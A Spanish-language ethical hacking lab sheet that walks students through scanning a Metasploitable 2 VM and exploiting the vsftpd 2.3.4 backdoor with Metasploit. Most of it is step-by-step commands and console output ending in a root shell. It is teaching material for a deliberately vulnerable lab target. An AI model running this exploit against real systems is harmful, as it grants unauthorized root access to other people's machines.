

Materia:	Ethical Hacking
Unidad:	3
Práctica:	3 Exploit FTP (metasploit)
Versión:	1.0
Objetivo:	<p>¿Quién? El alumno,</p> <p>¿Qué? entenderá qué es una herramienta que explota una vulnerabilidad de puerta trasera,</p> <p>¿Cómo? usando la herramienta metasploit,</p> <p>¿Para qué? en orden a conocer la fase de ataque al objetivo.</p>
Horas teórico-prácticas:	1.5 hrs
Puntuación:	% de la calificación final
Logística:	<p>Práctica personal. Tomar evidencias de todo para el reporte final.</p> <p>Iniciar las VVMM Metasploitable 2 y kali.</p> <p>Como en las prácticas anteriores, consideraremos un modelo Blackbox, donde básicamente no conocemos nada, o casi nada, de nuestro objetivo.</p> <p>Escaneo de la red</p> <ol style="list-style-type: none"> 1. Identificar la dirección IP del objetivo. Se puede usar nmap desde kali, como en prácticas anteriores. 2. Desde kali, abrir la consola de Metasploit. Para recopilar información es posible utilizar nmap desde la consola de Metasploit, usando la dirección obtenida en el primer punto. Si arroja un error, se puede intentar salir de la consola, inicializar la BD de Metasploit (msfdb init), y entrar nuevamente y reintentar. <pre> msf6 > db_nmap 192.168.56.129 -p 1-65535 [*] Nmap: Starting Nmap 7.94 (https://nmap.org) at 2023-10-26 20:12 EDT [*] Nmap: Nmap scan report for 192.168.56.129 [*] Nmap: Host is up (0.00051s latency). [*] Nmap: Not shown: 65505 closed tcp ports (conn-refused) [*] Nmap: PORT STATE SERVICE [*] Nmap: 21/tcp open ftp [*] Nmap: 22/tcp open ssh [*] Nmap: 23/tcp open telnet [*] Nmap: 25/tcp open smtp [*] Nmap: 53/tcp open domain [*] Nmap: 80/tcp open http [*] Nmap: 111/tcp open rpcbind [*] Nmap: 139/tcp open netbios-ssn [*] Nmap: 445/tcp open microsoft-ds [*] Nmap: 512/tcp open exec [*] Nmap: 513/tcp open login [*] Nmap: 514/tcp open shell [*] Nmap: 1099/tcp open rmiregistry [*] Nmap: 1524/tcp open ingreslock [*] Nmap: 2049/tcp open nfs [*] Nmap: 2121/tcp open ccproxy-ftp [*] Nmap: 3306/tcp open mysql [*] Nmap: 3632/tcp open distccd [*] Nmap: 5432/tcp open postgresql </pre> <p>Enumeración</p> <ol style="list-style-type: none"> 3. Para obtener más información de un servicio específico, nmap puede seguir siendo una buena alternativa. Para conocer la versión del servicio ftp (puerto 21) mediante el parámetro -sV:

```
msf6 > db_nmap -sV 192.168.56.129 -p 21
[*] Nmap: Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-26 20:19 EDT
[*] Nmap: Nmap scan report for 192.168.56.129
[*] Nmap: Host is up (0.00059s latency).
[*] Nmap: PORT      STATE SERVICE VERSION
[*] Nmap: 21/tcp open  ftp      vsftpd 2.3.4
[*] Nmap: Service Info: OS: Unix
[*] Nmap: Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
msf6 >
```

Explotación

- Una vez que tenemos la información anterior, se procede a averiguar si es vulnerable el servicio. Para ello se puede usar el comando **search** y el nombre del servicio encontrado en la fase anterior. Se encuentra un exploit **backdoor**:

```
msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Description	Disclosure Date	Rank	Check
0	auxiliary/dos/ftp/vsftpd_232	VSFTPD 2.3.2 Denial of Service	2011-02-03	normal	Yes
→ 1	exploit/unix/ftp/vsftpd_234_backdoor	VSFTPD v2.3.4 Backdoor Command Execution	2011-07-03	excellent	No

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 >
```

El pentester deberá documentarse sobre cada posible vulnerabilidad, por ejemplo, en este caso:

- Tipo de Ataque:** Este es un ataque específico que explota una vulnerabilidad conocida en el servidor **FTP VSFTPD** versión 2.3.4. La vulnerabilidad permite a un atacante obtener acceso no autorizado al sistema utilizando una puerta trasera (**backdoor**) creada por el atacante.
 - Descripción:** La vulnerabilidad permite a un atacante enviar una cadena especial al puerto FTP del servidor VSFTPD vulnerable para obtener acceso no autorizado al sistema como usuario privilegiado.
 - Propósito:** El propósito de este ataque es obtener acceso no autorizado al sistema objetivo, lo que podría permitir al atacante realizar acciones maliciosas en el sistema comprometido.
- Para seleccionar el exploit se introduce el comando **use** seguido de la ruta del exploit seleccionado;

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Exploit target:

- Una vez seleccionado el *exploit* que se va a utilizar, se deben configurar aquellos parámetros necesarios a través de la consola. Para ver las opciones, se debe ingresar el comando “**show options**”, el cual enumera todos los parámetros indicando si son opcionales u obligatorios mediante el campo “**required**”. De esta manera se puede notar que las dos variables requeridas son **RHOSTS** y **RPORT**. De estas, **RPORT** ya está inicializado con **21**, pero **RHOSTS** aún no, por lo que se procede a inicializarse, como en la práctica anterior.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.129
RHOSTS => 192.168.56.129
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

- Cuando se corrió el comando **show options**, se mostró la ruta del **payload** (es la secuencia de instrucciones que se ejecutarán una vez que se haya explotado con éxito la vulnerabilidad). Metasploit Framework posee diversos payloads con diferentes funcionalidades para cada tipo de arquitectura. Si fuese necesario, se puede usar el comando **show payloads** para visualizar cuáles con compatibles.

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

Exploit target:

Id	Name
0	Automatic

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact                normal         No    Unix Command
, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

8. Con el comando **set**, se establece o selecciona el payload que se quiere probar, y con el comando **show options** se pueden visualizar los parámetros que son necesarios (para poder configurarse, si fuera el caso). Ahora ya se puede intentar la explotación de la vulnerabilidad mediante la ejecución del comando **exploit**, y esperar que Metasploit haga su trabajo.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.130:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.130:21 - USER: 331 Please specify the password.
[+] 192.168.56.130:21 - Backdoor service has been spawned, handling ...
[+] 192.168.56.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.128:45027 → 192.168.56.130:6200) at 2023-10-30 15:46:11 -0400
```

9. Si todo resulta bien, se obtiene un Shell de comandos del sistema comprometido, permitiendo ejecutar cualquier comando en él, como por ejemplo, un listado de archivos (comando **ls**):

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.130:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.56.130:21 - USER: 331 Please specify the password.
[+] 192.168.56.130:21 - Backdoor service has been spawned, handling ...
[+] 192.168.56.130:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.128:45027 → 192.168.56.130:6200) at 2023-10-30 15:46:11 -0400

ls
bin
boot
cdrom
dev
etc
home
```

En este caso se obtuvo acceso a un servidor a través de un servicio FTP vulnerable. Mediante la identificación de la versión del servicio se pudo encontrar el *exploit* adecuado. De la misma manera, se inyectó un *payload* capaz de disponer una *shell* de comandos a merced del atacante. Si bien este es un ejemplo específico, donde el acceso se logró a través de una vulnerabilidad conocida por una versión antigua del software **Vsftpd**, también es posible que esto ocurra en un escenario real. Asimismo, los ataques reales pueden ser más complejos o combinados.

Vale la pena destacar que no existe una herramienta capaz de ejecutar automáticamente una prueba de penetración de calidad. El auditor, es decir, quien realiza las pruebas de penetración (*pentester*), siempre debe recurrir al uso de su imaginación y conocimiento, cualidades que pondrán a su

	<p>disposición una gama de herramientas que le permitirán ejecutar una prueba precisa y contundente sobre el sistema para obtener resultados de calidad.</p> <p>Entregable: Toda vez que se haya terminado la práctica, redactar el reporte del análisis de pentesting (plantilla). Limitarse a reportar y documentar el servicio comprometido y la vulnerabilidad explotada.</p>
Bibliografía:	<p>"Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning" por Gordon Fyodor Lyon.</p> <p>"Penetration Testing: A Hands-On Introduction to Hacking" por Georgia Weidman</p> <p>https://docs.rapid7.com/metasploit/msf-overview/</p> <p>https://nmap.org/</p>